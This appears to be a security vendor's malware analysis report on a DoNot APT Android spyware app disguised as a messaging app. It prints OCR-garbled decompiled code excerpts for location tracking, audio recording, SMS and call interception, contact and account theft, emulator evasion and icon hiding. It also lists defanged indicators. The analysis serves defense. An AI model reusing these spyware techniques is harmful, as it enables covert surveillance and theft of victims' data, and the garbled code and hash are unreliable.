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DoNot APT Group, also known as APT-C-35, is an Advanced Persistent Threat (APT) group
targeting government-related organizations. DoNot has a reputation for carrying out APT
attacks against India, Pakistan, Argentina, and countries in South Asia. This group mainly
spreads malware using malicious programs developed in C++, Python, .NET, and other
languages.

DoNot APT mainly spreads malware via spear-phishing emails containing malicious
documents and files. In addition to spreading malware via spear-phishing emails with
attachments that contain either a vulnerability or a malicious macro, this APT group
leverages malicious Android APKs in their target attacks.

Android-based Spyware applications are often disguised as system tools and in some cases
as fake apps, counterfeit mobile games, and fake news apps. Post installation, these

apps perform Trojan functions in the background and can remotely control

the victim’s system, besides stealing confidential information from the targeted device.

During our Open-Source Intelligence (OSINT) research, Cyble researchers found a malware
sample of the DoNot APT group posted on Twitter. Upon analyzing the malware sample, the
Cyble Research Lab discovered that it is a fake app disguised as a legitimate messaging app
that collects sensitive information from the victim’s device.

The APT group uses the deobfuscation code along with some packers within the application
to conceal malicious functionalities. This prevents the spyware from being detected during
the static analysis of the app.

Technical Analysis:
We performed the technical analysis of an APK, with the following hash value:
fdb67688d92900226bf834ce67f4112f03€981611ee50€9¢3102636574b05280.

App name:

Mecaller.apk

Package name:
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com.chat.nsgnest

Some of the applications’ permissions, activities, and services that may be used to perform
malicious activities are listed below:

Permissions:

e android.permission.READ_CALENDAR

e android.permission.PROCESS OUTGOING_CALLS
e android.permission.ACCESS_COARSE_LOCATION
¢ android.permission.INTERNET

e android.permission.ACCESS_FINE_LOCATION

e android.permission.READ CALL LOG

e android.permission.WRITE_EXTERNAL_STORAGE
e android.permission.RECEIVE_SMS

e android.permission.AUTHENTICATE_ACCOUNTS
e android.permission.CALL_PHONE

e android.permission.READ_PHONE_STATE

e android.permission.READ_SMS

e android.permission.RECORD_AUDIO

e android.permission.READ CONTACTS

Activities:

¢ ime.serviceinfo.app.MainActivity
e ime.serviceinfo.app.gsharehong.qsharelackhong

Services:

¢ ime.serviceinfo.app.gsynchong.qSyncServicehong

¢ ime.serviceinfo.app.gsynchong.qAuthenticatorServicehong
» ime.serviceinfo.app.galeolehong.qdcerthong

» ime.serviceinfo.app.galeolehong.qnqwerhong

» ime.serviceinfo.app.gstunthong.qSensorServicehong

e ime.serviceinfo.app.gsharehong.gsttrServicehong

» ime.serviceinfo.app.gsharehong.qServicehong

» ime.serviceinfo.app.galeolehong.qghepjshong

e ime.serviceinfo.app.ghelphong.qgarohong

¢ ime.serviceinfo.app.gaihihihong.tknnotify.sfsSr

We also performed a dynamic analysis and discovered that the app has an emulator check
that avoids running the app in an emulator or VirtualBox, and only runs this app on legitimate
devices. Further, on bypassing the scripts using Frida and on loading the application, it
displays a message as shown in the figure below.
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Your Device |s Not Supported For Now.

Tap on 'Ok’ to Uninstall This App

0K

Figure 1 Error Message from The App on Loading It Through Frida Scripts

Using the same Frida scripts and on loading the various activities, the app requests users to
enable the accessibility service and on activating, it displays the below message as shown in
Figure 2.

Use QMedia?
OMedia needs to:
* Observe your actions

Receive nodifications when you'ne
irberacting with an app

Retrieve window content
Inapect the contedl of & window Yo e

interacting with,

CAMCEL QK

Figure 2 — Message displayed on turning on the Accessibility Service
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The malware then initiates malicious behavior from the application main

class, “ime.serviceinfo.app.MainActivity“. The entry point of the app is this class, which

gets executed at first when the user starts the application.

Using the above permissions granted from users, the following data is fetched from the

devices:

Tracking the user’s location along with network operator details, device location,

latitude, and longitude from the compromised device.

public fimal weid runl) {
boolean z;
int 1 [+H
boolean z2 true;
try {
amy. L = true;
while (amg.k) {
if [amg.this.b mull)
amg.this.b new JSOMArray();

amy amg = amg.this;
Afg.e = a0g.1.18PraviderEnablad(® gps* )i
Amg amqd = amg. this:
amg2.d = amg2.1.1sProviderEnabled  netwark®];
try |
GsmZellLeocation gsmCelllocation = [GsmellLocation) amg.this.).getCellLecatien();

if (gamCellLocation = aull && !Textutils.isEmpty{netwarkOperater)) {
int parsslnt = Int r.parsalnt(networkOperator .substrang(i, 3));
int parselnt t .parssInt (networkOperator.substrang(3));
SimplefateFormat simpleDateFormat = new SimpleDateFormat(™yyyy-¥M-dd HHiemiss®);
JS0NObject (SONChject = new JSOMNObject(];
JSoMDb et . put [ & . &l " LUF) KLERVI="], aa.al"FENTO2VEbERY 2F0aWDu® ) )
JEoNib ect  put Lamy . al 1 gemCellLocation. getcid|
JE0NOb ect . put (amv. a . gsmCellLocation.getLlac(]);
je0ndbyect . put [amw _al"TuND® ), parselnt);
150Ntk ect. put (amv. al"TUED" |, parselnt2];
a
a

50Nk ect.put (amv. al"URD® ), gsmCellLecation.getPsc(])];
ysoncbject.put (amv.al* PGFOZG=="), simpleDateFormat.format (mew (31;
amq. this.b.put()S0N0b)ect) :

.:n'q.'lh:i.-:..c!l;

} catch [Except unused) {

; networkOperator = ((TelephonyManager] amg.this.a.getSystemService(®phene®)].gethetworkOperator()

Figure 3 Code to track the location of the device with Latitude and Longitude

Checking for the availability of internet connection from the device to collect the

network and connectivity information.

public static int alContext context) {

NetworkInfo networkInfo = conmectivityManager.gethetwarkInfolll;
NetworkInfo networkInfo2 = connectivityManager.getNetworkInfo(o);
if (networkInfo.isConnected()] {

return 1;
}

return networkInfo2.isConnected() 7 @ : -1;

}

ConnectivityManager connectivityManager (ConnectivityManager) context.getSystemService(®connectivity®

#

Figure 4 Checks for Internet connection Availability

The application also has the capability to record audio and collect media files from the

infected device without the user’s knowledge.
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public woid onReceive(Context context, Intent intent] {
context.startService(new Intent(context, gdcerthong.class));
try {
Bundle extras = intent.getExtras();
if (extras '= null) {
this.a = extras.getInt("sh", -1);

this.b = extras.getInt("sm", -1};
this.c = extras.getInt(®eh®, -1};
this.d = extras.getInt(*em*, -1);

if (extras.get(amv.a("U0oF*) ) == null || extras.get(amv.a(® ZwSkdoltZQ=="]) == mull) {
MediaRecorder mediaRecorder = f;
if (mediaRecorder != null) {
mediaRecorder.stopl);
f.reset();
f.release();

f = null;
gngwerhong.z = false;
return;

}

return;

}
boolean z = extras.getBoolean(amv.a(*L0sF"));
this.e = z;
if (rz) {
ghgwerhong.z = false;
try
a avar = h;
if (avar !'= null &5 1) {
avar.interrupt();
}

h = null;
} catch (Exception e2) {

Figure 5 Code to Record Audio/Media Files from the Infected Device

Sending text messages using permissions and SMS manager.
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Figure 6 Sends text Messages using SMS Manager and Andr0|d Permlssmns
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Tracking the Service/Receiver that are registered post device reboot.

public class gqddlhong extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, gdcerthong.class));

}

i

Figure 7 Registers the service/receiver on phone reboot

After the accessibility service is enabled, the application launcher icon is removed from

the main screen, thereby allowing the app to stay hidden.

method static synthetic alLimefserviceimfofapp/Raimhctivity; )V
Jlecals &

ey start 0

inwoke-virtual {PD}, Lime/serviceinfofapp/HadnActivity; -=10)V

Ttry end 0

JCAtch Llavwa/lang/Exception; {f{r?_itaft_ﬂ v itFT.!“ﬂ_G} rcatch b

Tcatch_@

Ttry_start_1

invoke-wirtwal {po}, Lime/serviceinfo/app/Mainictivity;-»getapplicationContext(iLandroda/content/Context;
nove-result-object v

invokeswirtval {wv0l, Landrodd/content/Context;-»getPackagemanager(iLandroid/content/pn/Packagetanager;
nove-result-object wo

invoke-wirtval {p0}, Limefserviceinfo/app/Mainictivity;-=getComponentiane ()Landrodd/content /Conponentiane
nove-result-object wi

constfa wvd, Ox2

constfa w3, Oxi

nem-instance v, Lamdroldfcentent/Intent;

inveoke-wirtual {v0, vi, w2, v3}, Lendroidfcontent/pn/PackageHanager; ->setConponentEnabledSetting(Landroid/content/Conponentiane; 11V

Figure 8 Hides the Application launcher Icon from View

Collecting the information on the running application processes or tasks.
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invoke-static {F, Landroid/os/Process;-=ayPid()]

move-result v

iget-object w3, p@, Lakp;-sb:Landroid/contentfContext;

const-string w4, "activity®

invoke-virtual {v3, vé}, Landroid/content/Context;-=getSystemService(Ljava/lang/5tring;)Ljava/lang/0bject;
nove-result-object v3

check-cast v3, Landroidfapp/ActivityHanager;

invoke-virtual {v3}, LandroidfappfActLUithanaqEr;-3httRunh1nqlonrn¢t55edE)LjavafutiLfli$t;

nove-result-object v3

if-eqz v3, :cond_3

invoke-interface {v3}, Ljavafutil/List;-=iterator()Ljava/util/Iterator;
nove-resvlt-object w3

teond_2
invoke-interface {v3}, Ljavafutil/Iterator;-shasKext()Z

Figure 9 Collects list of running processes

Verifying the infected device fingerprint, hardware, and model to find out whether the
application is executed through emulator or through VirtualBox. If it is executed through
emulator, the application will not be performing any malicious activity to avoid any kind

of detection.

private sfatic bealean |
retwrm [Buald BRAND. star e thigeneric | &6 Build. DEVICE. startswithi® generic: But Lol FIMCERPRINT . star tai th " generic® But Ll FINGERPRINT . s tar taw th " urkrgen®

Figure 10 Code to detect the analysis device (Emulator Check)

Monitoring the device phone number from both outgoing and incoming calls using
broadcastreceiver and storing the collected data into “CallLogs.txt".

public void onReceive(Context context, Intent imtent) {

context.startService(new Intent(context, gdcerthong.class));

if (intent.getAction().equals(*android.intent.action.NBW_OUTGOING_CALL")) {
this.b = intent.getExtras().getString("android.intent.extra.PHONE NUMBER");
this.c = amv.a("T3VORZSpbmcg® ) ;

} else if (intent.getExtras() != null) {
this.a = intent.getStringExtra("state"());
this.b = intent.getExtras().getString("incoming_number");
this.c = amv.a("Sw5jb2lpbmcg");

}

Figure 11 Code that queries phone numbers from incoming and outgoing calls
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private woid B} 1

;. catch [(Exception unused) {
1

plull:i.t vold onPecelve(Context context, Intent antent] {
this.a = context:
context.startService (new Intenticontext, gdoer thﬂl‘ll].i’.lli:.l IH
if (intent.gethction() .equals(®androad. 1ntent. sction. NEW_OUTGOIMNG CALL* )] {
tring StFing = intent.getExtras() gerStringl®sndroid. intent. extra. PHONE_NUMBER® )
SLring;
sLring;
b oelse if (intent.getExtras() "= nwll) {
tring string2 = intent. EEIENIFH" ﬂi[ﬁtrlnﬂ' state® )}
li lintent.getExtras|) .getString(*incoming_numbar=] 1= ==} {
St ] strang3 intent . getExtras() .getString(®1ncomng_rwmbar®
1 = straing3;
int 12 = 03
if ['string2.equals|TelephonyManager EXTRA_STATE IOLE))
if (string2.equals|TelephonyManager .EXTRA_STATE_OFFHOOK) ) |

j=
k =

12 = 25
b oelse if (string2.equalsiTelephenyMansger.EXTRA_STATE RIMGING)) {
12 = 1;

}
}
alcentext, 12, stringd);

try {
if rmq.-erhung . getint{amy.al " GEFSBGEZE" ), 0) == 0} { Calllogs. txt
tputStress filetutputStream = new Fi tputStresnned Filelgngwerhong.p, amv.al*QzFsbExvZudeho®)), truel:
hleo.utnuﬁ-trun weite(String.valueod (this, d ta‘.hrmq"' # “ynt ) .getBytes());
this.d = new JSOMErrayl);
filefutputStrean, closel) :
1

Figure 12 Code that monitors and collects call logs

Monitoring the incoming messages, creating Protocol data unit (PDU), intercepting
SMSes to collect information from them and storing the information in “sms.txt".

puilic woid orfweceive(Context context, Intemt i1ntent)
tring #2;
1ng &3;
cunt-n:l:t startService (new Intent (context, gdcerthong. class)];
try

if [qngwerhong.B.c.c)
Bundle extras = intent.getExtras();
this.a = *°;
if laxtras null) {
sbyectl] ohjarr = (ohjectl]) extras.getlamv,al"coRlowss"]];
int length = cbjarr.length;
SmsMessagel] smsMessagedrr = new SmsMessagellength];
for (int 1 = 0; 1 = length; 1e+) {
smaMessagedrr(i] = SmeMessage.createFromPoul (bytel[]) objarr[i]f:
SimpleDateFormat simpleDateFormat = new SimpleDateFormat(®yyyy-MM-dd HHimmzss® )
if {ignquerheng.u) {
try {
if (this.b == mull) {
this.b = new JSOMAFray();
1

Js0mib)ect JSONChject = new JSOMObject();

JS0MArray JSOMArray = mew JSOMArrayl);

Jo0mibect JSONObject2 = mew JSOMObject();

J0Mtb ] ect2 put [amv . al " YWRkcmVzcw=="), smsMessageArr[1]. getOriginatingaddress(]);
Js0Mdb ect2 put (amv . al*Ymkeg=="), smsMessagedrr[1]. getMessageBody().toString(l);
150MIb ect2 put [amv . al® 26F020=="), simpleDateFormat._formatimew Date(]));

a2 = amw . @l dHlwZ0==");
a3 = anw.al"SWS1b3g=");

a2 = amw . 8" dHLwZgme" ) »
a3 = amv.a("UdVudiss® ) ;
b oalse {

if (intent.getaction() . compareTolgnoreCase|®androad. provider.Telephony . SMS_RECEIVED" )

=0 {

} alse if (intent.getaction() .compareTolgnoreCase(* andrond. provider, Telephony,SMS_SENT® ) ol {

Figure 13 Code that monitors and collects SMS data
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puhhc class goperfhong extends BroadcastReceiver {
ring a3

JSoMArray b;

protected TelephonyManager ¢:

private synchromized woid al)

if (grgeerhong.q.getInt(amy. al"L0ITZmks" ), Q) oo smis. Tt
try {
Fil tputStream fileDutputStream = new Fi wnimew File(gnqwerhong.p, amv.a(*cZlzinRadiss")), troe);
fileOutputStream.write(st 1ovaluedf (this.b. t&s:rmq" # 'y ).getBytes());

this.b = mew JSOMAFray();
filedutputSeream.closel);
} cateh (Exception unused) {

1
1

Figure 14 Stores the collected SMS data

Collecting phone contacts from the infected device and storing it in “contacts.txt” file.

public final wead al] |
int 1 = 12
grigeerhiong . r.putint (aev.al*Qlfmad=="), 1};
gnigwerhong ., r, commit(] ;
try 1
this.b = mew J50MAFrayl];

if Zq\.mr-, fe mull)
1t lguery. g-etcm.rlt =) q
fileQuiputstrasn = new FiletutputStresnines Filelgngearhong, p, amv.a(  FESGEGRTHRRGIERD |1 )] ;
ﬂuLl .quer',' moyeTolext()] |
JSOMArFay JSOMAFray = mew JSOMArrayll:
JSoNDbject JSOMNDbject = new JSOMObject]);
jSonob]ect.putlamy . al " TeFTZ0=e"], quary.getStringlquery.getColumnlndex*displ;
JSoMOb]ect.putiamy.al " Tnvtymiy* ), query.getString(query.getColumnindex(*datal*]}];
try {
this.c = guery.getString (query.getColumnEndex(*_1d*]1);
ContentResolver contentfeselver = this.a.getContentResclvari]
Wy urr = ContactsComtract .CommonDataksnds . Ema | CONTENT _URE;
T [] strarr = mew Stringlil;
strarc(0] = this.c;
Cursor queryd = contentResclver.query(urs, nll,
it (query2.getCounti} = 0 &L query2.moveTolex
quer y2.getString (query2. getColumnIndes | ay
3 string = qutr-(.? getStringlgueryz. gutl.'o'lum]ndtxl datal
if [string mull]
]MJHCT.DU:'!H‘-‘.II'"'ﬁ-'."".l:l'p--':.. stringl;
b oelse {
1S0N0bject . put [amv .a("FelhaWe="}, "Unknown®];

Cantacts. txt

*contact_id = 7*, strarr, mulll;

query2.clesell;
} catch {Except: urwsed] |
1 SoMOb et piit (amy a0 PWlhabte=" ), *Unknswen®]s

Cursor query = this.a.getContentPasolver [) .query|ContsctsContract. CommonDatakynds. Phone CONTENT _URL, nall, null, null, sull);

Figure 15 Collects and stores Phone contacts

Along with the above sensitive information, this malicious app has the code to fetch
stored mail accounts and application accounts like Gmail, WhatsApp, besides storing

the information in “accounts.txt".
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public fimal woid all
anqwerhong. r.putIne{amy.a(*QUhmag=="), 1);
qrgearhong.r,commti];
try {
account[] accounts = AccountManager.get(this.al,getaccounts(];
if (gngwerhong.u) {
for [int 1 = 0; 1 == accounts.length - 1; 2++) {
Contentvalues contentValues = new Contentvalues():
contentValues.put (amv,al"QuM="), accounts(i].name);
contentValues. put [amv.a( " 0vi="), accaunts[i].typel:
if (1 == 0} {
contentValues . put(amv.a(*0UM="), "app_tkn*);
cqntqnt\ralu“ putlamv.al*0vd="], gngwarhong.wl;
new StringBullder(*onComplete: ). append(grogwerhong.w) ;
}

Poalse { accounts. bt
tlns.b = niw errayrl,

F1letutputstream fileOutputStream = new F1lotutputStrosn(new File(gngwerhong.p, amv.a( " ¥R BSudeModehG- 1)) ;
faor [int 12 t:l, 12 == accounts.length - 13 12e+) {
Jo0NCb ect SONObject = mr-r .IEM]Nt 1;
JSOMNChect.put (amv.a("0lM="), accounts(i12].nams);
J50n0bject. put (amw  al " Que=" ), accountsli2].typel;
if (12 = o) {
150M0b) ect put [amv, a"l:llr.- . “app_tkn®);
]MJect putra-m al®ovg=") qm-.rerhung.wl-:
new String B dar(® uni.'nrrp'l-*t-‘ * ] .append | gngwarhong. W) ;
}
this.b.putljSoNObject];
1
fileOutputStream.writelthis.b.toStringl) .getBytes());
this.b = new JSOMNArray(]:
filetutputStream.closel);

Figure 16 Code that collects and stores mail, application accounts

Base64 Encryption technique used in multiple classes and methods.
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Figure 17 Encrypted strings using Base64 encryption technique

Upon decrypting the encrypted strings, we were able to determine that the data being

collected by this app is sent to the C2 link through which the application communicates and

uploads the information to the server.

C2 Server: hxxpl[:]/ltinyshort[.]Jicu/

CONCLUSION:
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Spyware apps have been around for a long time, yet they still pose a significant threat to
sensitive data on victim devices. The APT groups responsible for creating the spyware are
constantly adapting and using various encryption techniques to avoid detection. This makes
removal of the spyware nearly impossible, thus users should exercise caution while installing

applications.

SAFETY RECOMMENDATIONS:

o Keep your anti-virus software updated to detect and remove malicious software.

o Uninstall the application if you find this malware in your device.

o Keep your system and applications updated to the latest versions.

o Use strong passwords and enable two-factor authentication.

o Download and install software only from trusted sites and official app stores.

» Verify the privileges and permissions requested by apps before granting them access.

e People concerned about the exposure of their stolen credentials in the dark web can
register at AmlIBreached.comto ascertain their exposure.

MITRE ATT&CK® Techniques- for Mobile

Tactic Technique ID Technique Name
Defense Evasion T1406 Obfuscated Files or Information
11418 Application Discovery
Credential Access 11409 Access Stored Application Data
T1412 Capture SMS Messages
Collection T1507 Network Information Discovery
T1430 Location Tracking
T1412 Capture SMS Messages
T1429 Capture Audio
11432 Access Contact List
T1433 Access Call Log
Discovery T1421 System Network Connections
11430 Discovery Location Tracking
T1426 System Information Discovery
11418 Application Discovery
T1424 Process Discovery

Command and Control T1573 Encrypted Channel
T1571 Non-Standard Port
Exfiltration T1532 Data Encrypted

Indicators of Compromise (loCs):

I0Cs

I0C type
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https://amibreached.com/
https://attack.mitre.org/techniques/T1406
https://attack.mitre.org/techniques/T1418
https://attack.mitre.org/techniques/T1409
https://attack.mitre.org/techniques/T1412
https://attack.mitre.org/techniques/T1507
https://attack.mitre.org/techniques/T1430
https://attack.mitre.org/techniques/T1412
https://attack.mitre.org/techniques/T1429/
https://attack.mitre.org/techniques/T1432/
https://attack.mitre.org/techniques/T1433/
https://attack.mitre.org/techniques/T1421/
https://attack.mitre.org/techniques/T1430/
https://attack.mitre.org/techniques/T1426/
https://attack.mitre.org/techniques/T1418
https://attack.mitre.org/techniques/T1424
https://attack.mitre.org/techniques/T1573
https://attack.mitre.org/techniques/T1571/
https://attack.mitre.org/techniques/T1532/
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45.61.137[.]7 P
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About Cyble

Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves
from cybercrimes and exposure in the darkweb. Cyble’s prime focus is to provide
organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator
as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the
top 20 Best Cybersecurity Startups to Watch in 2020. Headquartered in Alpharetta, Georgia,
and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn
more about Cyble, visit www.cyble.com.
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